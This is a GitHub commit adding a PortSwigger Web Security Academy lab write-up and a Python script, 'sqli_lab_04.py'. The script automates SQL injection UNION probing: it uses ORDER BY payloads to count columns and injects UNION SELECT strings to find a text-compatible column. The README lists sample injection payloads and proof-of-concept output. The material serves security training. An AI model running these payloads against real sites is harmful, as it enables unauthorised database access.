Skip to content

Commit 4b019e8

Browse files
committed
add sqli lab 04
1 parent 99d52fb commit 4b019e8

File tree

2 files changed

+117
-0
lines changed

2 files changed

+117
-0
lines changed
Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
# Finding columns with a useful data type in an SQL injection UNION attack
2+
3+
The reason for performing an SQL injection UNION attack is to be able to retrieve the results from an injected query. Generally, the interesting data that you want to retrieve will be in string form, so you need to find one or more columns in the original query results whose data type is, or is compatible with, string data.
4+
5+
Having already determined the number of required columns, you can probe each column to test whether it can hold string data by submitting a series of `UNION SELECT` payloads that place a string value into each column in turn. For example, if the query returns four columns, you would submit:
6+
```sql
7+
' UNION SELECT 'a',NULL,NULL,NULL--
8+
' UNION SELECT NULL,'a',NULL,NULL--
9+
' UNION SELECT NULL,NULL,'a',NULL--
10+
' UNION SELECT NULL,NULL,NULL,'a'--
11+
```
12+
If the data type of a column is not compatible with string data, the injected query will cause a database error, such as:
13+
14+
`Conversion failed when converting the varchar value 'a' to data type int.`
15+
16+
If an error does not occur, and the application's response contains some additional content including the injected string value, then the relevant column is suitable for retrieving string data.
17+
18+
# Lab: SQL injection UNION attack, finding a column containing text
19+
This lab contains an SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you first need to determine the number of columns returned by the query. You can do this using a technique you learned in a [previous lab](https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns). The next step is to identify a column that is compatible with string data.
20+
21+
The lab will provide a random value that you need to make appear within the query results. To solve the lab, perform an [SQL injection UNION attack](https://portswigger.net/web-security/sql-injection/union-attacks) that returns an additional row containing the value provided. This technique helps you determine which columns are compatible with string data.
22+
23+
# PoC
24+
```bash
25+
$ python3 sqli_lab_04.py https://aca21fae1faa6a9xxxxxxxxxxxxxx.web-security-academy.net/
26+
27+
>> SQL injection UNION attack, finding a column containing text
28+
>> by Port Swigger Academy
29+
30+
[*] Figuring out number of columns...
31+
[✓] The number of columns is 3.
32+
[*] Figuring out which column contains text...
33+
[✓] The column that contains text is 2.
34+
```
Lines changed: 83 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,83 @@
1+
#!/usr/bin/python3
2+
import requests
3+
import sys
4+
import urllib3
5+
6+
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
7+
8+
class Interface ():
9+
def __init__ (self):
10+
self.red = '\033[91m'
11+
self.green = '\033[92m'
12+
self.white = '\033[37m'
13+
self.yellow = '\033[93m'
14+
self.bold = '\033[1m'
15+
self.end = '\033[0m'
16+
17+
def header(self):
18+
print('\n >> SQL injection UNION attack, finding a column containing text')
19+
print(' >> by Port Swigger Academy\n')
20+
21+
def info (self, message):
22+
print(f"[{self.white}*{self.end}] {message}")
23+
24+
def warning (self, message):
25+
print(f"[{self.yellow}!{self.end}] {message}")
26+
27+
def error (self, message):
28+
print(f"[{self.red}x{self.end}] {message}")
29+
30+
def success (self, message):
31+
print(f"[{self.green}{self.end}] {self.bold}{message}{self.end}")
32+
33+
# Instantiate our interface class
34+
global output
35+
output = Interface()
36+
output.header()
37+
38+
proxies = {"http":"http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"}
39+
40+
def exploit_sqli_column_number(url):
41+
path = "filter?category=Pets"
42+
for i in range(1,50):
43+
sql_payload = "'+ORDER+BY+%s--" %i
44+
r = requests.get(url + path + sql_payload, verify=False, proxies=proxies)
45+
res = r.text
46+
if "Internal Server Error" in res:
47+
return i - 1
48+
i = i + 1
49+
return False
50+
51+
def exploit_sqli_string_field(url, num_col):
52+
path = "filter?category=Pets"
53+
for i in range(1, num_col+1):
54+
string = "'pAhGB6'"
55+
payload_list = [' NULL'] * num_col
56+
payload_list[i-1] = string
57+
sqli_payload = "' UNION SELECT " + ','.join(payload_list) + "--"
58+
r = requests.get(url + path + sqli_payload, verify=False, proxies=proxies)
59+
res = r.text
60+
if string.strip('\'') in res:
61+
return i
62+
return False
63+
64+
if __name__ == "__main__":
65+
try:
66+
url = sys.argv[1].strip()
67+
except IndexError:
68+
output.info("Usage: %s <url>" % sys.argv[0])
69+
output.info("Example: %s www.example.com" % sys.argv[0])
70+
sys.exit(-1)
71+
72+
output.info("Figuring out number of columns...")
73+
num_col = exploit_sqli_column_number(url)
74+
if num_col:
75+
output.success("The number of columns is " + str(num_col) + ".")
76+
output.info("Figuring out which column contains text...")
77+
string_column = exploit_sqli_string_field(url,num_col)
78+
if string_column:
79+
output.success("The column that contains text is " + str(string_column) + ".")
80+
else:
81+
output.error("We were not able to find a column that has a string data type.")
82+
else:
83+
output.error("SQLi attack was not successful!")

0 commit comments

Comments
 (0)